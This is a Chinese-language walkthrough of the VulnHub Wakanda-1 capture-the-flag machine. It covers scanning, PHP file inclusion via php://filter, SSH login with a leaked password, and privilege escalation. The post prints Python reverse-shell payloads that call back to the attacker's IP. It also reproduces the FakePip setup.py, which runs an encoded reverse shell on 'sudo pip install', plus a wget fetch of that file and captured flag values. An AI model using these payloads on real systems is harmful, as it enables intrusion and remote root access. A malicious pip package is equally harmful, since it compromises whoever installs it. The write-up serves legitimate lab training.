Coming soon
Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
从vulhub上下载靶机后,本打算在vm上搭建,后发现ova导入有点问题,故在virtualbox上搭建成功,我们需要获得flag1.txt,flag2.txt,root.txt 三个文件的信息,将攻击机,靶机均设为桥接网卡模式,因为我的kali是在vm里面。
靶机下载地址:https://www.vulnhub.com/entry/wakanda-1,251/
攻击机:
自用kali--IP地址:192.168.1.107
kali netdiscover 启动:
那么可以得到靶机 IP :192.168.1.108 ,既然得到了靶机ip地址,那么拿出nmap神器对其进行一波扫描,获得更详细的靶机信息。
nmap -sV 192.168.1.108
由nmap扫描得出的信息,开启了80端口的web服务,然后是3333端口的一个Openssh服务,这里需要做一下笔记,ssh连接是3333端口而不是常规的22端口哦!先去80端口访问一下看看情况:
emmm,发现就一个普通页面啥也没有,只有一个看似有用的 Made by@mamadou ???难道是个用户名还是个密码啥的?先做笔记记一下,萌新就是什么都要做笔记,接下来扫一下目录看看:
扫到几个页面,但是貌似SIZE都是0,被CTF各种虐的我还是选择去看看页面里有没有东西。==>转了一圈发现确实是空的,那咋办,难道渗透之旅到此结束?仔细想了几分钟,既然只有一个页面,忘记看源码了,源码如下:
这绿的我发慌的一串注释,不用直觉我猜也是靶机的切入点了,lang参数改变会影响页面的语言显示,猜测可能是 lang参数改变了使用的语言php文件,那么就是和文件相关的漏洞咯!
但是只有这一个页面,应该可以检测一下这个参数是否可以进行本地文件包含(Local File Include),将这唯一的一个页面的完整源码给读下来。利用之前做ctf还算有一点点的经验(参考https://blog.csdn.net/qq_35544379/article/details/78230629),我们可以用 php://filter 这个协议的一些小特性来将源码以base64的形式down下来:
然后base64解码得到如下完整的源码:
Vibranium Market
Vibranium Market
Coming soon
Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
oh!get到一个password:Niamey4Ever227!!!
到现在,我们收集到了作者的名称 mamadou,开放在3333端口的ssh服务,然后一个password。
二话不说,用ssh试试远程登录靶机:
ssh 192.168.1.108 -l mamadou -p 3333
输入Niamey4Ever227!!!作为密码登录,两秒之后,弹出来一个python shell界面?见识短浅见识短浅,试试用python的pty把完全交互式的终端弄出来。
>>>from pty import spawn
>>>spawn("/bin/bash")
mamadou@Wakanda1:~$
问题不大,ls看一下目录,看到了我们要找的第一个flag,也就是flag1.txt,然后cat flag1.txt ==> Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc
接下来就是找一下flag2.txt了,到上级目录看到了另外一个用户 devops 的目录,进去看看找到了flag2.txt,但是没有权限,需要以devops的身份打开。
去别的目录逛一逛,果然/tmp目录下是有点东西的,但是只是一个test文件,里面含有一个‘test’字符串,并没有什么不同。
看看跟devops有关系的文件有哪些:
第一个还是仅有的一个就是一个python脚本的样子(忽略后面的setup.py,因为是做完之后写的文章,setup.py是后面我弄进去的文件),看看.antivirus.py内容是啥:
open('/tmp/test','w').write('test')
就一行,和test扯上了关系,往之前/tmp/目录下的test文件写入‘test’字符串。这个python脚本是可写的,我能将shell写入其中并且运行,但是反弹的用户却仍然是mamadou,而不是想要的devops,问题在哪呢?思考很久,查了下antivirus的意思’抗生素’,没啥用。
#.antivirus.py--payload
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.1.107',7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
后来经人点拨,恍然大悟,如果这个脚本是会自动运行的,那么就不会反弹mamadou权限的shell了,而是它本身具有的devops权限,而经过查询资料,了解到存放在/src目录下的一般为系统服务类脚本文件,那么它自动运行的假设就显然可以成立了(我还是对有些性质不够了解)。
#用此命令查看.antivirus.py是否自动运行
mamadou@Wakanda1:/srv$ grep -R .antivirus.py / 2>/dev/null
/lib/systemd/system/antivirus.service:ExecStart=/usr/bin/env python /srv/.antivirus.py
#确实在自动运行,查看一下antivirus.service文件
[Unit]
Description=Antivirus
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=always
RestartSec=300
User=devops
ExecStart=/usr/bin/env python /srv/.antivirus.py
[Install]
WantedBy=multi-user.target
#可以看到是每300秒执行一次
那么接下来,写入的shell原封不动,kali攻击机nc监听7777端口,等待.antivirus.py自动运行(一分一秒地等待总是漫长的)。
果不其然,获得了反弹devops权限的shell,那么cat flag2.txt ==>Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098
那么下一步就是拿下root权限,攻入root目录了。
先看看devops用户权限大概是怎样的, 执行sudo -l命令:
然而,只有一个pip命令是可以不需要root权限就能执行的,试试pip install falsk,没问题。
那么怎样才能通过pip来获取root权限呢?这里用到一个github上的开源脚本Fakepip。这个脚本通过在pip重新安装时执行的setup.py文件中插入shellcode,导致其可通过pip反弹root权限的shell给攻击机。项目地址(https://github.com/0x00-0x00/FakePip.git)
接下来在攻击机上把Fakepip给git下来,然后进入Fakepip目录,将setup.py中的RHOST参数改为攻击机地址:192.168.1.107,然后启动python的简易服务器。
from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
def run(self):
install.run(self)
RHOST = '192.168.1.107' # change this
reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)
setup(name='FakePip',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='https://github.com/0x00-0x00/fakepip',
author='zc00l',
author_email='[email protected]',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})
然后在devops靶机上用wget http://192.168.1.107/setup.py
将攻击机上的setup.py下载到本地,攻击机kali开始用nc监听443端口,准备接收即将到来的shell。
在devops靶机上命令pip重装:sudo pip install ./ --upgrade --force-install
kali兴奋地一把接到反弹过来的shell:
cd root
,然后cat root.txt
:
萌新的渗透到此暂停emmmm。
1.特殊扫描方式 ==> nmap -sV/-sP/-sS/sL 其中-sP是用于扫描IP段的
2.详细地扫描目标:
nmap -sV 或者 nmap -p- -A <目标ip>
或者超强力的: nmap -sS -sV -A -p- <目标ip>
python 反弹 shell:
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"
python构造完全交互式终端 :
python -c "import pty;pty.spawn('/bin/bash')"
参考 https://blog.csdn.net/qq_35544379/article/details/78230629
php://filter,php://input,php://output都是有妙用的哦!
但在渗透过程中发现,不用msfvenom生成的加密shell也能成功反弹,不过还是要养成好习惯,多用用这种神器提高效率并且准确率。
参考链接 https://www.cnblogs.com/xishaonian/p/6851475.html
==> su & sudo
可用于切换用户
==> lsattr 是 ls的升级版,就如aptitude 与apt相似一样
==> find / -user root 2>/dev/null 查看用户属性为root的文件
==>ps -aux 查看所有服务 ==>top 查看进程
渗透一定一定注意信息收集,思维拓展,然后就是扎实的基础!
如果没有那么强的能力,渗透确实有点吃力,但是吃力的过程也在进步,就像不停的被虐的过程,自然自己的等级也在提高,不停地膜大神的文章的同时,自己也会受其影响,作为老腊肉,只能继续学习。